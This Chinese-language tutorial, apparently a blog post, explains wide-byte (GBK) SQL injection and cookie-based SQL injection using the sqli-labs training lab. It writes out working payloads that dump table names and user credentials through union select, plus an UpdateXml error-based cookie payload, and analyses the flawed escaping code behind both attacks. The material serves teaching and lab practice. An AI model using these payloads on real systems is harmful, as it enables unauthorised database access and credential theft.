sql之宽字节注入、Cookie注入攻击

宽字节注入攻击

什么是宽字节注入？

如今有很多人在编码的时候，大多数人对程序的编码都使用unicode编码，网站都使用utf-8来一个统一
国际规范。但仍然有很多，包括国内及国外（特别是非英语国家）的一些cms，仍然使用着自己国家的
一套编码，比如gbk，作为自己默认的编码类型。也有一些cms为了考虑老用户，所以出了gbk和utf-8
两个版本。一个gbk编码汉字，占用2个字节。一个utf-8编码的汉字，占用3个字节。
至于mysql宽字节注入的原理就是因为数据库使用了GBK编码

宽字节注入原理

GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK，函数执行添加的是ASCII编码（添加的符号为“\”），MYSQL默认字符集是GBK等宽
字节字符集。
大家都知道%df’ 被PHP转义（开启GPC、用addslashes函数，或者icov等），单引号被加上反斜杠\，
变成了 %df\’，其中\的十六进制是 %5C ，那么现在 %df\’ =%df%5c%27，如果程序的默认字符集是
GBK等宽字节字符集，则MySQL用GBK的编码时，会认为 %df%5c 是一个宽字符，也就是縗，也就是
说：%df\’ = %df%5c%27=縗’，有了单引号就好注入了。

宽字字节注入实列

sqli-32 题 [测试靶场地址][http://43.247.91.228:84/Less-32/?id=1]

思路：

由于单引号被过滤了，所以我们使用 %df 吃掉 \，具体的原因是 urlencode(’) = %5c%27 ，我
们在 %5c%27 前面添加 %df ，形成 %df%5c%27 ，而上面提到的mysql在GBK编码方式的时候会将两
个字节当做一个汉字，此事 %df%5c 就是一个汉字，%27则作为一个单独的符号在外面，同时也就
达到了我们的目的。
将 ’ 中的 \ 过滤掉，例如可以构造 %**%5c%5c%27 的情况，后面的 %5c 会被前面的 %5c 给注释
掉。这也是bypass的一种方法。
注入实操：
（1）构造代码，成功绕过，payload如下：
http://localhost:81/sqli-labs-master/Less-32/index.php?id=1%df%27 and 1=1–+

（2）order by查询字段数
http://localhost:81/sqli-labs-master/Less-32/index.php?id=1%df%27 order by 4–+

(3)union selec联合查询
http://localhost:81/sqli-labs-master/Less-32/index.php?id=0%df%27 union select 1,2,3–+

其他的都是一样的了、。。。。。。。。。。。
http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1–+ http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 and 1=1–+ http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 oder by 3–+
http://localhost:81/sqli-labs-master/Less-33/index.php?id=0%df%5c%27 union select 1,2,3–+ http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1,database(),3–+ http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema=database()),3–+ http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1, (select group_concat(column_name) from information_schema.columns where table_name=‘users’),3–+ http://localhost:81/sqli-labs-master/Less-33/index.php?id=1%df%5c%27 union select 1, (select group_concat(username,password) from users),3–+

宽字节注入代码分析

在宽字节注入页面中，程序获取GET参数ID，并对参数ID使用addslashes()转义，然后拼接到SQL语句
中，进行查询;
sql之宽字节注入、Cookie注入攻击
当访问id=1‘时，执行的SQL语句：
SELECT * FORM users WHWRE id=’1\’’
可以看到单引号被转义符“\”转义，所以在一般情况下，是无法注入的，但由于在数据库查询前执行了
SET NAMES ‘GBK’,将编码设置为宽字节GBK，所以此处存在宽字节注入漏洞，
在php中，通过iconv（）进行编码转换时，也可能存在宽字符注入漏洞。

Cookie 注入攻击

通常我们的开发人员在开发过程中会特别注意到防止恶意用户进行恶意的注入操作，因此会对传入的参
数进行适当的过滤，但是很多时候，由于个人对安全技术了解的不同，有些开发人员只会对get,post这
种方式提交的数据进行参数过滤。
但我们知道，很多时候，提交数据并非仅仅只有get\post这两种方式，还有一种经常被用到的方式：
request(“xxx”),即request方法
通过这种方法一样可以从用户提交的参数中获取参数值，这就造成了cookie注入的最基本条件：使用了
request方法，但是注入保护程序中只对get\post方法提交的数据进行了过滤。

Cookie注入攻击实列

[靶场地址][http://43.247.91.228:84/Less-20/]

这关是一个Cookie处的注入,输入正确的账号密码后，会跳到index.php页面，如下图
sql之宽字节注入、Cookie注入攻击
这个时候再访问登陆页面的时候http://43.247.91.228:84/Less-20/还是上面的页面，因为登陆后将信息
存在了Cookie中，后台进行判断，发现Cookie中有值时会显示上面的个人信息，而不是登录框。
在上面哪些信息中可以看到，多出了一个Your ID：8，这个信息很有可能是从数据库中查询出来的，我
们再次访问该页面，使用burp抓包分析
sql之宽字节注入、Cookie注入攻击
可以看到Cookie中有uname=admin，说明后台很有可能利用cookie中的uname取数据库中进行查询操
作。
将cookie中的信息改为uname=admin’

页面报错了，并且从报错信息中可以看出，后台使用的是单引号进行的拼凑。后面没有必要继续下去
了，联表查询、报错注入、盲注在这里都是可以的。
继续使用burp进 Cookie: uname=admin’ AND UpdateXml(1,concat(0x7e,(select username from users LIMIT 1,1),0x7e),1)# ;
sql之宽字节注入、Cookie注入攻击

得到：
sql之宽字节注入、Cookie注入攻击

Cookie 注入代码分析

通过 $COOKIE能获取浏览器cookie中的数据，在cookie注入页面中程序通过$ COOKIE获取参数ID，然后
直接将ID拼接到slect语句中进行查询，如果有结果则将结果输出到页面。
sql之宽字节注入、Cookie注入攻击
这里可以看到，由于没有过滤cookie中的参数ID且直接拼接到SQL语句中，所以存在SQL注入漏洞。当
在cookie中添加id=1 union select 1,2,3%23时，执行的SQL语句为：
Select * from users where ‘id’=1 union select 1,2,3#
此时,SQL语句可以分为select * from users where ‘id’ =1 和 union select 1,2,3两条，利用第二条语句
就可以获取数据库中的数据。